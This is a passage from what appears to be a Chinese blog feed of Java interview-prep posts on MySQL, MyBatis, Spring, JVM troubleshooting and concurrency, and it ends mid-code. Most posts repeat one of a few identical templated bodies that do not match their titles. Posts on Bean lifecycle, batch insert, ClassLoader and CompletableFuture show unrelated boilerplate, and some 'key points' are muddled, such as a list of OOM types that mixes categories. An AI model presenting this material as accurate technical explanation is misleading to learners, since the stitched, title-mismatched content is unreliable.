  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> MySQL SQL MySQL优化 面试：EXPLAIN 执行计划应该看哪些字段 //explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/ 面试：EXPLAIN 执行计划应该看哪些字段

EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 面试：MySQL 索引设计的几个核心原则 //mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/ 面试：MySQL 索引设计的几个核心原则

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL SQL MySQL优化 面试：MyBatis 批量插入和性能优化 //mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/ 面试：MyBatis 批量插入和性能优化

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis 面试：MyBatis 动态 SQL 的正确写法 //mybatis-dong-tai-sql-de-zheng-que-xie-fa/ 面试：MyBatis 动态 SQL 的正确写法

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis 面试：MyBatis 一级缓存和二级缓存怎么理解 //mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/ 面试：MyBatis 一级缓存和二级缓存怎么理解

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis 面试：Spring Boot 日志配置和链路排查 //spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/ 面试：Spring Boot 日志配置和链路排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot 面试：Spring Boot 参数校验和返回值封装 //spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/ 面试：Spring Boot 参数校验和返回值封装

参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot 面试：Spring Boot 统一异常处理实践 //spring-boot-tong-yi-yi-chang-chu-li-shi-jian/ 面试：Spring Boot 统一异常处理实践

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot 面试：Spring Boot 配置分环境的标准做法 //spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/ 面试：Spring Boot 配置分环境的标准做法

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot 面试：Bean 生命周期按步骤理解 //bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/ 面试：Bean 生命周期按步骤理解

Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入

  2. @PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键

  3. Aware 接口让 Bean 能够感知容器的上下文信息

  4. 销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()

总结

理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。

]]> Spring JAVA Spring 面试：Spring 事务失效的常见原因 //spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/ 面试：Spring 事务失效的常见原因

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring JAVA Spring 面试：Spring AOP 的原理和常见应用 //spring-aop-de-yuan-li-he-chang-jian-ying-yong/ 面试：Spring AOP 的原理和常见应用

AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类

  2. 切面的优先级由 @Order 注解控制，数字越小优先级越高

  3. 自调用问题的原因是内部方法调用不会经过代理对象

  4. 使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题

总结

AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。

]]> Spring JAVA Spring 面试：Spring IoC 容器到底解决了什么 //spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/ 面试：Spring IoC 容器到底解决了什么

IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 依赖注入实现了控制反转，把对象创建的控制权交给容器

  2. 构造器注入优于字段注入，能保证依赖的不可变性和非空性

  3. IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力

  4. 通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称

总结

IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。

]]> Spring JAVA Spring 面试：内存溢出和内存泄漏排查流程 //nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/ 面试：内存溢出和内存泄漏排查流程

内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 面试：线上 CPU 飙高如何定位 Java 问题 //xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/ 面试：线上 CPU 飙高如何定位 Java 问题

线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 面试：ClassLoader 双亲委派模型实践理解 //classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/ 面试：ClassLoader 双亲委派模型实践理解

双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 面试：GC 日志怎么看才有用 //gc-ri-zhi-zen-me-kan-cai-you-yong/ 面试：GC 日志怎么看才有用

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM JAVA JVM 面试：JVM 内存区域从入门到排查 //jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/ 面试：JVM 内存区域从入门到排查

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM JAVA JVM 面试：AQS 为什么是并发工具的基础 //aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/ 面试：AQS 为什么是并发工具的基础

在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待

  2. 独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore

  3. tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理

  4. ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知

总结

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。

]]> Java并发 JAVA 并发 面试：CompletableFuture 编排异步任务 //completablefuture-bian-pai-yi-bu-ren-wu/ 面试：CompletableFuture 编排异步任务

CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 面试：ThreadLocal 的使用和内存泄漏问题 //threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/ 面试：ThreadLocal 的使用和内存泄漏问题

ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. ThreadLocal 为每个线程提供独立的变量副本

  2. 底层使用 ThreadLocalMap 存储，key 是弱引用

  3. 内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value

  4. 解决方案：使用完毕后调用 remove() 方法

总结

ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。

]]> Java并发 JAVA 并发 面试：volatile 能保证什么不能保证什么 //volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/ 面试：volatile 能保证什么不能保证什么

volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
